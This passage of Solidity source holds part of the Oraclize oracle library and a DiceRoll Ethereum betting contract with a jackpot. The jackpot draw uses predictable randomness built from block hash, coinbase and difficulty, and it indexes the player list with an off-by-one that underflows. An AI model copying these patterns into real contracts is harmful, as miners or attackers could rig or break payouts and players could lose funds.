return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract SafeMath {
function safeToAdd(uint a, uint b) pure internal returns (bool) {
return (a + b >= a);
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
require(safeToAdd(a, b));
return a + b;
}
function safeToSubtract(uint a, uint b) pure internal returns (bool) {
return (b <= a);
}
function safeSub(uint a, uint b) pure internal returns (uint) {
require(safeToSubtract(a, b));
return a - b;
}
}
contract DiceRoll is SafeMath,usingOraclize {
address public owner;
uint8 constant public maxNumber = 99;
uint8 constant public minNumber = 1;
bool public gamePaused = false;
bool public jackpotPaused = false;
bool public refundPaused = false;
uint256 public contractBalance;
uint16 public houseEdge;
uint256 public maxProfit;
uint16 public maxProfitAsPercentOfHouse;
uint256 public minBet;
uint256 public maxBet;
uint16 public jackpotOfHouseEdge;
uint256 public minJackpotBet;
uint256 public jackpotBlance;
address[] public jackpotPlayer;
uint256 public JackpotPeriods = 1;
uint64 public nextJackpotTime;
uint16 public jackpotPersent = 100;
uint256 public totalWeiWon;
uint256 public totalWeiWagered;
mapping (bytes32 => address) playerAddress;
mapping (bytes32 => uint256) playerBetAmount;
mapping (bytes32 => uint8) playerNumberStart;
mapping (bytes32 => uint8) playerNumberEnd;
uint256 public oraclizeGasLimit;
uint public oraclizeFee;
uint seed;
modifier betIsValid(uint256 _betSize, uint8 _start, uint8 _end) {
require(_betSize >= minBet && _betSize <= maxBet && _start >= minNumber && _end <= maxNumber && _start < _end);
_;
}
modifier oddEvenBetIsValid(uint256 _betSize, uint8 _oddeven) {
require(_betSize >= minBet && _betSize <= maxBet && (_oddeven == 1 || _oddeven == 0));
_;
}
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier jackpotAreActive {
require(!jackpotPaused);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
event LogResult(bytes32 indexed QueryId, address indexed Address, uint8 DiceResult, uint256 Value, uint8 Status, uint8 Start, uint8 End, uint8 OddEven, uint256 BetValue);
event LogRefund(bytes32 indexed QueryId, uint256 Amount);
event LogJackpot(bytes32 indexed QueryId, address indexed Address, uint256 jackpotValue);
event LogOwnerTransfer(address SentToAddress, uint256 AmountTransferred);
event SendJackpotSuccesss(address indexed winner, uint256 amount, uint256 JackpotPeriods);
function() public payable{
contractBalance = safeAdd(contractBalance, msg.value);
setMaxProfit();
}
function DiceRoll() public {
owner = msg.sender;
houseEdge = 20;
maxProfitAsPercentOfHouse = 100;
minBet = 0.1 ether;
maxBet = 1 ether;
jackpotOfHouseEdge = 500;
minJackpotBet = 0.1 ether;
jackpotPersent = 100;
oraclizeGasLimit = 300000;
oraclizeFee = 1200000000000000;
oraclize_setCustomGasPrice(4000000000);
nextJackpotTime = uint64(block.timestamp);
oraclize_setProof(proofType_Ledger);
}
function playerRoll(uint8 start, uint8 end) public payable gameIsActive betIsValid(msg.value, start, end) {
totalWeiWagered += msg.value;
bytes32 queryId = oraclize_newRandomDSQuery(0, 30, oraclizeGasLimit);
playerAddress[queryId] = msg.sender;
playerBetAmount[queryId] = msg.value;
playerNumberStart[queryId] = start;
playerNumberEnd[queryId] = end;
contractBalance = safeSub(contractBalance,oraclizeFee);
}
function oddEven(uint8 oddeven) public payable gameIsActive oddEvenBetIsValid(msg.value, oddeven) {
totalWeiWagered += msg.value;
bytes32 queryId = oraclize_newRandomDSQuery(0, 30, oraclizeGasLimit);
playerAddress[queryId] = msg.sender;
playerBetAmount[queryId] = msg.value;
playerNumberStart[queryId] = oddeven;
playerNumberEnd[queryId] = 0;
contractBalance = safeSub(contractBalance,oraclizeFee);
}
function __callback(bytes32 queryId, string result, bytes proof) public onlyOraclize {
if (oraclize_randomDS_proofVerify__returnCode(queryId, result, proof) != 0) {
if(!refundPaused){
playerAddress[queryId].transfer(playerBetAmount[queryId]);
LogRefund(queryId, playerBetAmount[queryId]);
}else{
contractBalance = safeAdd(contractBalance,playerBetAmount[queryId]);
}
}else{
uint8 tempStart = playerNumberStart[queryId];
uint8 tempEnd = playerNumberEnd[queryId];
address tempAddress = playerAddress[queryId];
uint256 tempAmount = playerBetAmount[queryId];
uint8 probability;
uint256 houseEdgeFee;
uint256 playerProfit;
uint8 random = uint8(uint256(keccak256(result)) % 100) + 1;
delete playerAddress[queryId];
delete playerBetAmount[queryId];
delete playerNumberStart[queryId];
delete playerNumberEnd[queryId];
if(tempEnd == 0){
if(random % 2 == tempStart){
probability = 50;
playerProfit = getProfit(probability,tempAmount);
totalWeiWon = safeAdd(totalWeiWon, playerProfit);
contractBalance = safeSub(contractBalance, playerProfit);
setMaxProfit();
LogResult(queryId, tempAddress, random, playerProfit, 1, 0, 0, tempStart, tempAmount);
houseEdgeFee = getHouseEdgeFee(probability, tempAmount);
increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, queryId, tempAddress, tempAmount);
tempAddress.transfer(safeAdd(playerProfit, tempAmount));
}else{
LogResult(queryId, tempAddress, random, 0, 0, 0, 0, tempEnd, tempAmount);
contractBalance = safeAdd(contractBalance, (tempAmount - 1));
setMaxProfit();
tempAddress.transfer(1);
}
}else if(tempEnd != 0 && tempStart != 0){
if(tempStart <= random && random <= tempEnd){
probability = tempEnd - tempStart + 1;
playerProfit = getProfit(probability,tempAmount);
totalWeiWon = safeAdd(totalWeiWon, playerProfit);
contractBalance = safeSub(contractBalance, playerProfit);
setMaxProfit();
LogResult(queryId, tempAddress, random, playerProfit, 1, tempStart, tempEnd, 2, tempAmount);
houseEdgeFee = getHouseEdgeFee(probability, tempAmount);
increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, queryId, tempAddress, tempAmount);
tempAddress.transfer(safeAdd(playerProfit, tempAmount));
}else{
LogResult(queryId, tempAddress, random, 0, 0, tempStart, tempEnd, 2, tempAmount);
contractBalance = safeAdd(contractBalance, (tempAmount - 1));
setMaxProfit();
tempAddress.transfer(1);
}
}
}
}
function increaseJackpot(uint256 increaseAmount, bytes32 _queryId, address _address, uint256 _amount) internal {
require(increaseAmount < maxProfit);
LogJackpot(_queryId, _address, increaseAmount);
contractBalance = safeSub(contractBalance, increaseAmount);
jackpotBlance = safeAdd(jackpotBlance, increaseAmount);
if(_amount >= minJackpotBet){
jackpotPlayer.push(_address);
}
}
function createWinner() public onlyOwner jackpotAreActive {
uint64 tmNow = uint64(block.timestamp);
require(tmNow >= nextJackpotTime);
require(jackpotPlayer.length > 0);
uint random = rand() % jackpotPlayer.length;
address winner = jackpotPlayer[random - 1];
sendJackpot(winner);
}
function sendJackpot(address winner) internal jackpotAreActive {
uint256 amount = jackpotBlance * jackpotPersent / 1000;
require(jackpotBlance > amount);
jackpotBlance = safeSub(jackpotBlance, amount);
jackpotPlayer.length = 0;
nextJackpotTime = uint64(block.timestamp) + 72000;
winner.transfer(amount);
SendJackpotSuccesss(winner, amount, JackpotPeriods);
JackpotPeriods += 1;
}
function sendValueToJackpot() payable public jackpotAreActive {
jackpotBlance = safeAdd(jackpotBlance, msg.value);
}
function getHouseEdgeFee(uint8 _probability, uint256 _betValue) view internal returns (uint256){
return (_betValue * (100 - _probability) / _probability + _betValue) * houseEdge / 1000;
}
function getProfit(uint8 _probability, uint256 _betValue) view internal returns (uint256){
uint256 tempProfit = ((_betValue * (100 - _probability) / _probability + _betValue) * (1000 - houseEdge) / 1000) - _betValue;
if(tempProfit > maxProfit) tempProfit = maxProfit;
return tempProfit;
}
function rand() internal returns (uint256) {
seed = uint256(keccak256(seed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
return seed;
}
function setMaxProfit() internal {
maxProfit = contractBalance * maxProfitAsPercentOfHouse / 1000;
}
function ownerSetOraclizeGas(uint newPrice, uint newGasLimit) public onlyOwner{
require(newGasLimit > 50000 && newGasLimit <300000);
require(newPrice > 1000000000 && newPrice <15000000000);
oraclize_setCustomGasPrice(newPrice);
oraclizeGasLimit = newGasLimit;
oraclizeFee = newGasLimit * newPrice;
}
function ownerSetHouseEdge(uint16 newHouseEdge) public onlyOwner{
require(newHouseEdge <= 1000);
houseEdge = newHouseEdge;
}
function ownerSetMinJackpoBet(uint256 newVal) public onlyOwner{
require(newVal <= 1 ether);
minJackpotBet = newVal;
}
function ownerSetMaxProfitAsPercentOfHouse(uint8 newMaxProfitAsPercent) public onlyOwner{
